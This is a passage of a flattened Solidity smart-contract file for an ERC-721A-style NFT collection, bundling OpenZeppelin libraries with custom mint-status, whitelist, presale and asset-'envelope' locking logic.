// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// Whether the token has been burned.
bool burned;
}
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
uint64 numberMintedOnPresale;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
}
struct ContractData {
// Token name
string name;
// Token description
string description;
// Token symbol
string symbol;
// Base URL for tokens metadata
string baseURL;
// Contract-level metadata URL
string contractURL;
// Whitelist Merkle tree root
bytes32 wl;
// Is it set or asset?
bool isEnvelope;
// Revealed?
bool isRevealed;
// Mint status managed by
bool mintStatusAuto;
// Status
MintStatus mintStatus;
}
struct EnvelopeTypes {
address envelope;
address[] types;
}
struct MintSettings {
uint8 mintOnPresale;
uint8 maxMintPerUser;
uint8 minMintPerUser;
uint64 maxTokenSupply;
uint256 priceOnPresale;
uint256 priceOnSale;
uint256 envelopeConcatPrice;
uint256 envelopeSplitPrice;
// MintStatus timing
uint256 mintStatusPreale;
uint256 mintStatusSale;
uint256 mintStatusFinished;
}
// Contract root address
address internal _root;
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
// The number of tokens burned.
uint256 internal _burnCounter;
// Contract data
ContractData internal _contractData;
// Envelope data
EnvelopeTypes internal _envelopeTypes;
// Mint settings
MintSettings internal _mintSettings;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping from token ID to approved address
mapping(uint256 => address) internal _tokenApprovals;
// Mapping owner address to address data
mapping(address => AddressData) internal _addressData;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) internal _operatorApprovals;
// Envelope container
mapping(uint256 => mapping(address => uint256)) internal _assetsEnvelope;
mapping(address => mapping(uint256 => bool)) internal _assetsEnveloped;
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: Array.sol
// Creator: OZ
pragma solidity ^0.8.4;
contract Array{
function remove(uint256[] memory arr, uint256 e)
internal pure
{
unchecked {
uint idx = 0;
for(uint i = 0; i < arr.length; i++) {
if(arr[i] == e) {
idx = i;
}
}
for (uint i = idx; i < arr.length-1; i++){
arr[i] = arr[i+1];
}
delete arr[arr.length - 1];
}
}
}
// File: Math.sol
pragma solidity ^0.8.4;
library Math{
function max(uint256 a,uint256 b) internal pure returns(uint256)
{
return a >= b ? a : b;
}
function min(uint256 a,uint256 b) internal pure returns(uint256)
{
return a < b ? a : b;
}
function average(uint256 a,uint256 b) internal pure returns(uint256)
{
return (a & b) + (a ^ b) / 2;
}
function ceilDiv(uint256 a,uint256 b) internal pure returns(uint256)
{
return a / b + (a % b == 0 ? 0 : 1);
}
function mul(uint256 a,uint256 b) internal pure returns(uint256 c)
{
if (0 == a) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a,uint256 b) internal pure returns(uint256)
{
assert(0 != b);
return a / b;
}
function sub(uint256 a,uint256 b) internal pure returns(uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a,uint256 b) internal pure returns(uint256 c)
{
c = a + b;
assert(c >= a);
return c;
}
}
// File: Quantity.sol
// Creator: OZ
pragma solidity ^0.8.4;
contract Quantity is TokenStorage {
function quantityIsGood(uint256 _quantity,uint256 _minted,uint256 _mintedOnPresale)
internal view
returns(bool)
{
return
(
_contractData.mintStatus == MintStatus.PRESALE &&
_mintSettings.mintOnPresale >= _quantity + _minted
) || (
_contractData.mintStatus == MintStatus.SALE &&
_mintSettings.maxMintPerUser >= _quantity + _minted - _mintedOnPresale &&
_mintSettings.minMintPerUser <= _quantity
)
;
}
function supplyIsGood()
internal view
returns(bool)
{
return
_contractData.isEnvelope || (
_contractData.isEnvelope == false &&
_mintSettings.maxTokenSupply > _currentIndex
)
;
}
}
// File: IEnvelope.sol
// Creator: OZ
pragma solidity ^0.8.4;
interface IEnvelope {
function locked(address _asset,uint256 _assetId) external view returns(bool);
function ownerOfAsset(uint256 _assetId) external view returns(address);
}
// File: Ownership.sol
// Creator: OZ using Chiru Labs
pragma solidity ^0.8.4;
contract Ownership is Context, TokenStorage {
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId)
internal view
returns (TokenOwnership memory)
{
uint256 curr = tokenId;
unchecked {
if (curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
uint256[] private __tokens__;
function tokensOf(address _owner)
external
returns(uint256[] memory tokens)
{
unchecked {
for(uint i=0;i<_currentIndex;i++) {
TokenOwnership memory ownership = ownershipOf(i);
if(ownership.addr == _owner) {
if (!ownership.burned) {
if(_contractData.isEnvelope) {
__tokens__.push(i);
} else {
if(!IEnvelope(_envelopeTypes.envelope).locked(address(this),i)) {
__tokens__.push(i);
}
}
}
}
}
return __tokens__;
}
}
}
// File: AccessControl.sol
// Creator: OZ
pragma solidity ^0.8.4;
contract AccessControl is Ownership {
function ActiveMint()
internal view
{
if(MintStatus.NONE == _contractData.mintStatus)
revert MintShouldBeOpened();
}
function ApprovedOnly(address owner)
internal view
{
if (!_operatorApprovals[owner][_msgSender()])
revert CallerNotOwnerNorApproved();
}
function BotProtection()
internal view
{
if(tx.origin != msg.sender)
revert Err();
}
function OwnerOnly(address owner,uint256 tokenId)
internal view
{
if (owner != ownershipOf(tokenId).addr)
revert CallerNotOwnerNorApproved();
}
function RootOnly()
internal view
{
address sender = _msgSender();
if(
sender != _root &&
sender != _envelopeTypes.envelope
) revert RootAddressError();
}
function Whitelisted(bytes32[] calldata _merkleProof)
internal view
{
address sender = _msgSender();
bool flag =
_root == sender ||
_contractData.mintStatus == MintStatus.SALE
;
/**
* Set merkle tree root
*/
if(!flag)
flag = MerkleProof.verify(_merkleProof, _contractData.wl, keccak256(abi.encodePacked(sender)));
/**/
if(!flag)
revert WhitelistedOnly();
}
function setWLRoot(bytes32 _root)
external
{
RootOnly();
_contractData.wl = _root;
}
}
// File: ERC721A.sol
// Creator: Chiru Labs
pragma solidity ^0.8.4;
//import "hardhat/console.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
abstract contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, AccessControl, Quantity {
using Address for address;
using Strings for uint256;
constructor(
string memory name_,
string memory description_,
string memory symbol_,
string memory baseURL_,
string memory contractURL_
) {
_contractData.name = name_;
_contractData.description = description_;
_contractData.symbol = symbol_;
_contractData.baseURL = baseURL_;
_contractData.contractURL = contractURL_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply()
public view
returns(uint256)
{
// Counter underflow is impossible as _burnCounter cannot be incremented
// more than _currentIndex times
unchecked {
return _currentIndex - _burnCounter;
}
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public view virtual
override(ERC165, IERC165)
returns(bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner)
public view
override
returns(uint256)
{
if (owner == address(0))
revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
/**
* returnsthe number of tokens minted by `owner`.
*/
function _numberMinted(address owner)
internal view
returns(uint256)
{
if (owner == address(0))
revert MintedQueryForZeroAddress();
else return
uint256(_addressData[owner].numberMinted);
}
function _numberMintedOnPresale(address owner)
internal view
returns(uint256)
{
if (owner == address(0))
revert MintedQueryForZeroAddress();
else return
uint256(_addressData[owner].numberMintedOnPresale);
}
/**
* returnsthe number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner)
internal view
returns(uint256)
{
if (owner == address(0))
revert BurnedQueryForZeroAddress();
else return
uint256(_addressData[owner].numberBurned);
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId)
public view
override
returns(address)
{
if(!_contractData.isEnvelope) {
if(IEnvelope(_envelopeTypes.envelope).locked(address(this),tokenId)) {
return address(0);
}
}
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId)
public
override
{
address owner = ERC721A.ownerOf(tokenId);
if (to == owner)
revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender()))
revert CallerNotOwnerNorApproved();
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId)
public view
override
returns(address)
{
if (!_exists(tokenId))
revert ApprovalQueryForNonexistentToken();
else return
_tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
override
{
if (operator == _msgSender())
revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public view virtual
override
returns(bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
if(!_contractData.isEnvelope)
if(IEnvelope(_envelopeTypes.envelope).locked(address(this),tokenId))
revert AssetLocked();
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
if(!_contractData.isEnvelope)
if(IEnvelope(_envelopeTypes.envelope).locked(address(this),tokenId))
revert AssetLocked();
_transfer(from, to, tokenId);
if (!_checkOnERC721Received(from, to, tokenId, _data))
revert TransferToNonERC721ReceiverImplementer();
}
/**
* @dev returnswhether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId)
internal view
returns(bool)
{
return tokenId < _currentIndex && !_ownerships[tokenId].burned;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = _currentIndex;
if(!supplyIsGood())
revert OutOfMintBoundaries();
if (to == address(0))
revert MintToZeroAddress();
if (quantity == 0)
revert MintZeroQuantity();
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
// updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
if(_contractData.mintStatus == MintStatus.PRESALE)
_addressData[to].numberMintedOnPresale = _addressData[to].numberMintedOnPresale + uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe && !_checkOnERC721Received(address(0), to, updatedIndex, _data))
revert TransferToNonERC721ReceiverImplementer();
updatedIndex++;
}
_currentIndex = updatedIndex;
}
}
/**
* Transfer set and all its assets
*/
function _transferEnvelope(address _to,uint256 _assetId)
internal
{
unchecked {
for (uint i = 0; i < _envelopeTypes.types.length; i++) {
(bool success,bytes memory res) = _envelopeTypes.types[i].call(
abi.encodeWithSignature("unlock(uint256,address)",
_assetsEnvelope[_assetId][_envelopeTypes.types[i]],
_to)
);
if(!success)
revert AssetCannotBeTransfered();
}
}
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
address sender = _msgSender();
bool isApprovedOrOwner = (
sender == _envelopeTypes.envelope ||
sender == prevOwnership.addr ||
sender == getApproved(tokenId) ||
isApprovedForAll(prevOwnership.addr, sender)
);
if (!isApprovedOrOwner)
revert TransferCallerNotOwnerNorApproved();
if (prevOwnership.addr != from)
revert TransferFromIncorrectOwner();
if (to == address(0))
revert TransferToZeroAddress();
/*
if(
sender == prevOwnership.addr &&
_contractData.isEnvelope
) _transferEnvelope(to,tokenId);
*/
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId)
internal virtual
{
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[prevOwnership.addr].balance -= 1;
_addressData[prevOwnership.addr].numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
_ownerships[tokenId].addr = prevOwnership.addr;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
_ownerships[tokenId].burned = true;
// If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(prevOwnership.addr, address(0), tokenId);
// Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
unchecked {
_burnCounter++;
}
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns(bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns(bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
